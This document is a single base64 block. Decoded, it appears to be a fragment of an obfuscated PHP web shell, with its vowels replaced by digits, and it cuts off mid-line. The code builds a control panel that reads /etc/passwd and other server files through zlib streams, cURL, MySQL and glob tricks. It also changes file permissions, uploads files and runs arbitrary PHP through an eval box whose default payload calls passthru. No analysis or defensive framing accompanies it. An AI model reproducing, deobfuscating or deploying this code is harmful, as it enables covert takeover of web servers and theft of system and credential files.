PDJwdDQybiB2MWwzNT1mNGw1PiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGk5J10uIjwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9ZDRyPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGUwJ10uIjwvMnB0NDJuPjwvczVsNWN0PiIuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnbWsnKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dDZvJ10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlNyddLCc0ZGknKS4kdDFibDVfM3BhLmQ0dignNGRpJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZTgnXS4kMXJyMncuIjwvYj4iLCI8czVsNWN0IG4xbTU9d2gxdD48MnB0NDJuIHYxbDM1PW0yZD5DSE1PRDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9MnduPkNIT1dOPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1ncnA+Q0hHUlA8LzJwdDQybj48L3M1bDVjdD4iLndzKGEpLiI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlOSddLiQxcnIydy4iPC9iPiIud3MoYSkuNG4oJ3Q1eHQnLCdwMXIxbTYnLHUwLCgoJF9QT1NUWydwMXIxbTYnXSk/KCRfUE9TVFsncDFyMW02J10pOigiIikpKS53cyhhKS4iPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0NzAnXS4kMXJyMncuIjwvYj4iLndzKGEpLjRuKCd0NXh0JywncDFyMW1hIHQ0dGw1PSInLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ3NiddLiciJyxhZSwoKCRfUE9TVFsncDFyMW1hJ10pPygkX1BPU1RbJ3AxcjFtYSddKTooIjA3aWkiKSkpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ2NoXycpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NiddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQoNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dHVhJ10sJzRkbycpLiR0MWJsNV8zcGEuZDR2KCc0ZG8nKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHR1byddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCc1X24xbTUnLDhpLCRkNHIpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJzVkNHRfZjRsNScpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NjYnXSkpOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KDQoNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwNyddLCc0ZGEwNycpLiR0MWJsNV8zcGEuZDR2KCc0ZGEwNycpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwZSddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdnbDJiJyw4aSwnLzV0Yy8nKS40bignaDRkZDVuJywnY21kJywwLCdnbDJiJykuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ3J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMDknXSwnNGRhMDknKS4kdDFibDVfM3BhLmQ0dignNGRhMDknKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMGUnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywncjIydCcsOGksJy81dGMvJykuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwncjIydCcpLjRuDQooJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ3J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwMCddLCc0ZG8nKS4kdDFibDVfM3BhLmQ0dignNGRvJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0YTBhJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ3NubicsOGksJy81dGMvcDFzc3dkJykuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnYzJweScpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NyddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMG8nXSwnNGR1NjYnKS4kdDFibDVfM3BhLmQ0dignNGR1NjYnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhMGEnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnNG40X3I1c3QycjUnLDhpLCcvNXRjL3Axc3N3ZCcpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJzRuNF9yNXN0MnI1JykuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ3J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCg0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dDZhaSddLCc0ZGE5MDAnKS4kdDFibDVfM3BhLmQ0dignNGRhOTAwJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzAnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdDY5Jyw4aSwnLzV0Yy9wMXNzd2QnKS40bignaDRkZDVuJywnY21kJywwLCd0NXN0NjknKS40bg0KKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2YTcnXSwnNGRhOTA2JykuJHQxYmw1XzNwYS5kNHYoJzRkYTkwNicpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG8wJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2Y0bDUnLDhpLCcvNXRjL3Axc3N3ZCcpLjRuDQooJ2g0ZGQ1bicsJ2NtZCcsMCwnZjRsNScpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kYS4kZjU7DQoNCg0KNWNoMiAkdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0Nm82J10sJzRkYTkwYScpLiR0MWJsNV8zcGEuZDR2KCc0ZGE5MGEnKS4kdHMuIjx0cj4iLiRmcy4iPHRkIHYxbDRnbj10MnAgdzRkdGg9aTAlPiIuJHRzOw0KNWNoMiAiPGYybnQgZjFjNT10MWgybTEgczR6NT0tYT48Yj48ZDR2IDFsNGduPWM1bnQ1ciA0ZD0nbic+UjUxZCBGNGw1PC9kNHY+PC9iPjwvZjJudD4iOw0KNWNoMiBzcihhaSwiPGI+RjRsNSA6Ii4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnZjRsNTYnLHUwLCghNW1wdHkoJF9QT1NUWydmNGw1NiddKSk/KCRfUE9TVFsnZjRsNTYnXSk6KCIvNXRjL3Axc3N3ZCIpKS40bignczNibTR0JywnczNibTR0JyxhLCJSNTFkIEY0bDUiKSk7DQpmM25jdDQybiByc2dfcjUxZCgpDQoJewkNCgkkdDVzdD0iIjsNCgkkdDVtcD10NW1wbjFtKCR0NXN0LCAiY3giKTsNCgkkZjRsNTY9JF9QT1NUWydmNGw1NiddOwkNCgkkZzV0PWh0bWxzcDVjNDFsY2gxcnMoJGY0bDU2KTsNCgk1Y2gyICI8YzVudDVyPjxicj48Yj48ZjJudCBzNHo1PWE+VHJ5NG5nIFQyIEc1dCBGNGw1IDxmMm50IGMybDJyPXI1ZD48Yj4kZzV0PC9iPjwvZjJudD48YnI+IjsNCgk0ZihjMnB5KCJjMm1wcjVzcy56bDRiOi8vIi4kZjRsNTYsICR0NW1wKSl7DQoJJGY0Y2g0NXIgPSBmMnA1bigkdDVtcCwgInIiKTsNCgkkMWN0NDJuID0gZnI1MWQoJGY0Y2g0NXIsIGY0bDVzNHo1KCR0NW1wKSk7DQoJZmNsMnM1KCRmNGNoNDVyKTsNCgkkczIzcmM1PWh0bWxzcDVjNDFsY2gxcnMoJDFjdDQybik7DQo1Y2gyICI8ZDR2IDFsNGduPVwiYzVudDVyXCI+PGI+PGYybnQgczR6NT1hPjxicj48ZjJudCBjMmwycj1cInI1ZFwiPjx0NXh0MXI1MSBuMW01PXI1cDJydCBjMmxzPWUwIHIyd3M9NjA+JHMyM3JjNTwvdDV4dDFyNTE+PGJyPjxiPjxicj5GMjNuZCA8Yj48ZjJudCBzNHo1PWE+JGc1dDwvZjJudD48L2I+IjsNCgkzbmw0bmsoJHQ1bXApOw0KCX0gNWxzNSB7DQoJZDQ1KCI8Yj48ZjJudCBzNHo1PWE+PENFTlRFUj5TMnJyeS4uLiBGNGw1DQoJPGYybnQgYzJsMnI9cjVkPjxCPiIuaHRtbHNwNWM0MWxjaDFycygkZjRsNTYpLiI8L0I+PC9mMm50PiBkMnM1bid0IDV4NHN0cyAyciB5MjMgZDJuJ3QgaDF2NQ0KCTFjYzVzcy48L0NFTlRFUj48L0ZPTlQ+Iik7DQoJCQl9DQoJNWNoMiAiPC9kNHY+IjsNCgl9DQo0Zig0c3M1dCgkX1BPU1RbJ2Y0bDU2J10pKQ0Kew0KcnNnX3I1MWQoKTsNCn0NCjVjaDIgJHQ1LiI8L3RkPiIuJGY1LiRmcy4iPHRkIHYxbDRnbj10MnAgdzRkdGg9aTAlPiIuJHRzOw0KNWNoMiAiPGYybnQgZjFjNT10MWgybTEgczR6NT0tYT48Yj48ZDR2IDFsNGduPWM1bnQ1ciA0ZD0nbic+VjQ1dyBENHI8L2Q0dj48L2I+PC9mMm50PiI7DQo1Y2gyIHNyKGEwLCI8Yj5ENHIgOiIuJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ2Q0cjVjdDJyeScsdTAsKCE1bXB0eSgkX1BPU1RbJ2Q0cjVjdDJyeSddKSk/KCRfUE9TVFsnZDRyNWN0MnJ5J10pOigiLzV0YyIpKS40bignczNibTR0JywnczNibTR0JyxhLCdWNDV3JykpOw0KZjNuY3Q0Mm4gcnNnX2dsMmIoKQ0Kew0KJGNoNW00bj0kX1BPU1RbJ2Q0cjVjdDJyeSddOw0KJGY0bDVzID0gZ2wyYigiJGNoNW00bioiKTsNCjVjaDIgIjxjNW50NXI+PGI+PGYybnQgczR6NT1hPlRyeTRuZyBUMiBMNHN0IEYybGQ1ciA8ZjJudCBjMmwycj1yNWQ+PGI+JGNoNW00bjwvYj48L2YybnQ+PGJyPiI7DQo1Y2gyICI8dDV4dDFyNTEgYzJscz1lMCByMndzPTYwPiI7DQpmMnI1MWNoICgkZjRsNXMgMXMgJGY0bDVuMW01KSB7DQoJICAgNWNoMiAiJGY0bDVuMW01XG4iOw0KCSAgIH01Y2gyICI8L3Q1eHQxcjUxPjwvYzVudDVyPiI7DQoJICAgfQ0KNGYoNHNzNXQoJF9QT1NUWydkNHI1Y3QycnknXSkpDQp7DQpyc2dfZ2wyYigpOw0KfQ0KNWNoMiAkdDUuIjwvdGQ+Ii4kZjUuIjwvdHI+PC9kNHY+PC90MWJsNT4iOw0KDQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0YTYwJ10sJzRkYTYwJykuJHQxYmw1XzNwYS5kNHYoJzRkYTYwJykuJHRzOw0KNWNoMiAiPHQxYmw1IGNsMXNzPXQxYmw1NiB3NGR0aD02MDAlIDFsNGduPWM1bnQ1cj4iOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzAnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywnejVuZCcsOGksKCE1bXB0eSgkX1BPU1RbJ3o1bmQnXSkNCj8oJF9QT1NUWyd6NW5kJ10pOigiLzV0Yy9wMXNzd2QiKSkpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwnejVuZCcpLndzKHUpLjRuDQooJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCg0KDQoNCjRmKDV4dDVuczQybl9sMjFkNWQoIjQybkMzYjUgTDIxZDVyIikpDQp7DQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0YW8wJ10sJzRkYW8wJykuJHQxYmw1XzNwYS5kNHYoJzRkYW8wJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0bzAnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdDZ1X2NtZCcsOWUsKCE1bXB0eSgkX1BPU1RbJ3Q1c3Q2dV9jbWQnXSk/KCRfUE9TVFsndDVzdDZ1X2NtZCddKTooJycpKSkud3ModSkuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS40bignaDRkZDVuJywnY21kJywwLCd0NXN0NnUnKS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ4J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsgIA0KfQ0KDQo0ZigkM240eCYmNXh0NW5zNDJuX2wyMWQ1ZCgidzRub2FzdGQiKSkNCnsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRhbzYnXSwnNGRhbzYnKS4kdDFibDVfM3BhLmQ0dignNGRhbzYnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvJ10uJDFycjJ3LiI8L2I+Iiw0bigndDV4dCcsJ3Q1c3Q2aV9jbWQnLDllLCghNW1wdHkoJF9QT1NUWyd0NXN0NmlfY21kJ10pPygkX1BPU1RbJ3Q1c3Q2aV9jbWQnXSk6KCdkNHInKSkpLndzKHUpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwndDVzdDZpJykuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7ICANCn0NCg0KNGYoJDNuNHgmJjV4dDVuczQybl9sMjFkNWQoInc0bm9hczVydjRjNSIpKQ0Kew0KNWNoMiAkZnMuJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGFvYSddLCc0ZGFvYScpLiR0MWJsNV8zcGEuZDR2KCc0ZGFvYScpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG8nXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdDZlX2NtZCcsOWUsKCE1bXB0eSgkX1BPU1RbJ3Q1c3Q2ZV9jbWQnXSk/KCRfUE9TVFsndDVzdDZlX2NtZCddKTooJ2Q0cicpKSkud3ModSkuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS40bignaDRkZDVuJywnY21kJywwLCd0NXN0NmUnKS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ4J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsgIA0KfQ0KDQoNCjRmKCQzbjR4JiY1eHQ1bnM0Mm5fbDIxZDVkKCJmZjQiKSkNCnsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2b2EnXSwnNGRvaScpLiR0MWJsNV8zcGEuZDR2KCc0ZGFvdScpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG8nXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdDY4X2NtZCcsOWUsKCE1bXB0eSgkX1BPU1RbJ3Q1c3Q2OF9jbWQnXSk/KCRfUE9TVFsndDVzdDY4X2NtZCddKTooJ2Q0cicpKSkud3ModSkuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKS40bignaDRkZDVuJywnY21kJywwLCd0NXN0NjgnKS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ4J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsgIA0KfQ0KDQokMWw0MXM1c2EgPSAnJzsNCmYycjUxY2ggKCQxbDQxczVzIDFzICQxbDQxc19uMW01PT4kMWw0MXNfY21kKQ0KIHsNCiAkMWw0MXM1c2EgLj0gIjwycHQ0Mm4+JDFsNDFzX24xbTU8LzJwdDQybj4iOw0KIH0NCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ3J10sJzRkZScpLiR0MWJsNV8zcGEuZDR2KCc0ZGUnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLndzKDkpLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ4J10uJDFycjJ3LndzKHUpLiI8L2I+IiwiPHM1bDVjdCBuMW01PTFsNDFzPiIuJDFsNDFzNXNhLiI8L3M1bDVjdD4iLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NiddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRpdSddLCc0ZDcnKS4kdDFibDVfM3BhLmQ0dignNGQ3JykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0aWEnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0Jywnc190NXh0Jyw4aSwnJykud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0NmEnXSkpOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0aW8nXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0Jywnc19kNHInLDhpLCRkNHIpLiIgKiAiKTsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGlpJ10uJDFycjJ3LiI8L2I+Iiw0bignY2g1Y2tiMngnLCdtIDRkPW0nLDAsJzYnKS40bigndDV4dCcsJ3NfbTFzaycsOGEsJy5waHA7LjFzcDsuMXNweDsuY2ZtJykuIioiLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ3M1MXJjaF90NXh0JykuNG4oJ2g0ZGQ1bicsJ2Q0cicsMCwkZDRyKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQoNCg0KDQo0ZigkYzNybF8ybikNCnsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvbyddLCc0ZDYwJykuJHQxYmw1XzNwYS5kNHYoJzRkNjAnKS4kdHM7DQo1Y2gyIHNyKDZpLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvMCddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCd0NXN0Nl9mNGw1Jyw4aSwoITVtcHR5KCRfUE9TVFsndDVzdDZfZjRsNSddKT8oJF9QT1NUWyd0NXN0Nl9mNGw1J10pOigiLzV0Yy9wMXNzd2QiKSkpLjRuKCdoNGRkNW4nLCdkNHInLDAsJGQ0cikuNG4oJ2g0ZGQ1bicsJ2NtZCcsMCwndDVzdDYnKS53cyh1KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ4J10pKTsNCjVjaDIgJHQ1Lic8L2Q0dj4nLiR0MWJsNV81bmQ2LiRmNTsNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvMDAnXSwnNGRvJykuJHQxYmw1XzNwYS5kNHYoJzRkbycpLiR0czsNCjVjaDIgc3IoNmksIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGEwYSddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCdseTBraDEnLDhpLCcvNXRjL3Axc3N3ZCcpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ2NVUkwnKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLndzKHUpLjRuKCdzM2JtNHQnLCdzM2JtNHQnLDAsJGwxbmdbJGwxbmczMWc1LidfYjN0dDcnXSkpOw0KNWNoMiAkdDUuJzwvZDR2PicuJHQxYmw1XzVuZDYuJGY1Ow0KfQ0KDQo0ZigkbXNzcWxfMm4pDQp7DQo1Y2gyICRmcy4kdDFibDVfM3A2LmQ0dl90NHRsNSgkbDFuZ1skbDFuZzMxZzUuJ190NXh0OGknXSwnNGQ2bycpLiR0MWJsNV8zcGEuZDR2KCc0ZDZvJykuJHRzOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0b2UnXS4kMXJyMncuIjwvYj4iLDRuKCd0NXh0JywndDVzdHVfbWQnLDZpLCghNW1wdHkoJF9QT1NUWyd0NXN0dV9tZCddKT8oJF9QT1NUWyd0NXN0dV9tZCddKTooIm0xc3Q1ciIpKSkud3ModSkuIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG83J10uJDFycjJ3LiI8L2I+Ii40bigndDV4dCcsJ3Q1c3R1X21sJyw2aSwoITVtcHR5KCRfUE9TVFsndDVzdHVfbWwnXSk/KCRfUE9TVFsndDVzdHVfbWwnXSk6KCJzMSIpKSkud3ModSkuIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dG84J10uJDFycjJ3LiI8L2I+Ii40bigndDV4dCcsJ3Q1c3R1X21wJyw2aSwoITVtcHR5KCRfUE9TVFsndDVzdHVfbXAnXSk/KCRfUE9TVFsndDVzdHVfbXAnXSk6KCIiKSkpLndzKHUpLiI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHQ2dSddLiQxcnIydy4iPC9iPiIuNG4oJ3Q1eHQnLCd0NXN0dV9wMnJ0Jyw2aSwoITVtcHR5KCRfUE9TVFsndDVzdHVfcDJydCddKT8oJF9QT1NUWyd0NXN0dV9wMnJ0J10pOigiNnVvbyIpKSkpOw0KNWNoMiBzcig2aSwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0byddLiQxcnIydy4iPC9iPiIsNG4oJ3Q1eHQnLCd0NXN0dV9mNGw1Jyw5ZSwoITVtcHR5KCRfUE9TVFsndDVzdHVfZjRsNSddKT8oJF9QT1NUWyd0NXN0dV9mNGw1J10pOigiZDRyIikpKS40bignaDRkZDVuJywnZDRyJywwLCRkNHIpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ3Q1c3R1Jykud3ModSkuNG4oJ3MzYm00dCcsJ3MzYm00dCcsMCwkbDFuZ1skbDFuZzMxZzUuJ19iM3R0OCddKSk7DQo1Y2gyICR0NS4nPC9kNHY+Jy4kdDFibDVfNW5kNi4kZjU7DQp9DQoNCjVjaDIgJGZzLiR0MWJsNV8zcDYuZDR2X3Q0dGw1KCRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRvYSddLCc0ZDknKS4kdDFibDVfM3BhLiRmMm50Ow0KNWNoMiAiPGQ0diAxbDRnbj1jNW50NXI+Ii5kNHYoJzRkOScpLiI8dDV4dDFyNTEgbjFtNT1waHBfNXYxbCBjMmxzPTZhMCByMndzPWk+IjsNCjVjaDIgKCE1bXB0eSgkX1BPU1RbJ3BocF81djFsJ10pPygkX1BPU1RbJ3BocF81djFsJ10pOigiLyogZDVsNXQ1IHNjcjRwdCAqL1xyXG4zbmw0bmsoXCJsMzN0eXQzbi5waHBcIik7XHJcbnI1MWRmNGw1KFwiLzV0Yy9wMXNzd2RcIik7XHJcbjVjaDIgZjRsNV9nNXRfYzJudDVudHMoXCIvNXRjL3Axc3N3ZFwiKTtcclxucDFzc3RocjMoXCJsbiAtcyAvNXRjL3Axc3N3ZCBsMzN0eXQzbi50eHRcIik7IikpOw0KNWNoMiAiPC90NXh0MXI1MT4iOw0KNWNoMiA0bignaDRkZDVuJywnZDRyJywwLCRkNHIpLjRuKCdoNGRkNW4nLCdjbWQnLDAsJ3BocF81djFsJyk7DQo1Y2gyICI8YnI+Ii53cyg2KS40bignczNibTR0JywnczNibTR0JywwLCRsMW5nWyRsMW5nMzFnNS4nX2IzdHQ2J10pOw0KNWNoMiAiPC9kNHY+PC9kNHY+PC9mMm50PiI7DQo1Y2gyICR0MWJsNV81bmQ2LiRmNTsNCg0KDQp7DQo1Y2gyICI8ZjJybSBuMW01PTNwbDIxZCBtNXRoMmQ9UE9TVCBFTkNUWVBFPW0zbHQ0cDFydC9mMnJtLWQxdDE+IjsNCjVjaDIgJHQxYmw1XzNwNi5kNHZfdDR0bDUoJGwxbmdbJGwxbmczMWc1LidfdDV4dGknXSwnNGQ2dScpLiR0MWJsNV8zcGEuZDR2KCc0ZDZ1JykuJHRzOw0KNWNoMiAiPHRyPjx0ZCB2MWw0Z249dDJwIHc0ZHRoPWkwJT4iLiR0czsNCjVjaDIgc3IoNjAsIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGUnXS4kMXJyMncuIjwvYj4iLDRuKCdmNGw1JywnM3M1cmY0bDUwJyw3MCwnJykpOw0KNWNoMiBzcig2MCwiPGI+Ii4kbDFuZ1skbDFuZzMxZzUuJ190NXh0ZSddLiQxcnIydy4iPC9iPiIsNG4oJ2Y0bDUnLCczczVyZjRsNTYnLDcwLCcnKSk7DQo1Y2gyIHNyKDYwLCI8Yj4iLiRsMW5nWyRsMW5nMzFnNS4nX3Q1eHRlJ10uJDFycjJ3LiI8L2I+Iiw0bignZjRsNScsJzNzNXJmNGw1YScsNzAsJycpKTsNCjVjaDIgJHQ1LiI8L3RkPjx0ZCB2MWw0Z249dDJwIHc0ZHRoPWkwJT4iLiR0czsNCjVjaDIgc3IoNjAsIjxiPiIuJGwxbmdbJGwxbmczMWc1LidfdDV4dGUnXS4kMXJyMncuIjwvYj4iLDRuKCdmNGw1JywnM3M1cmY0bDVvJyw3MCwn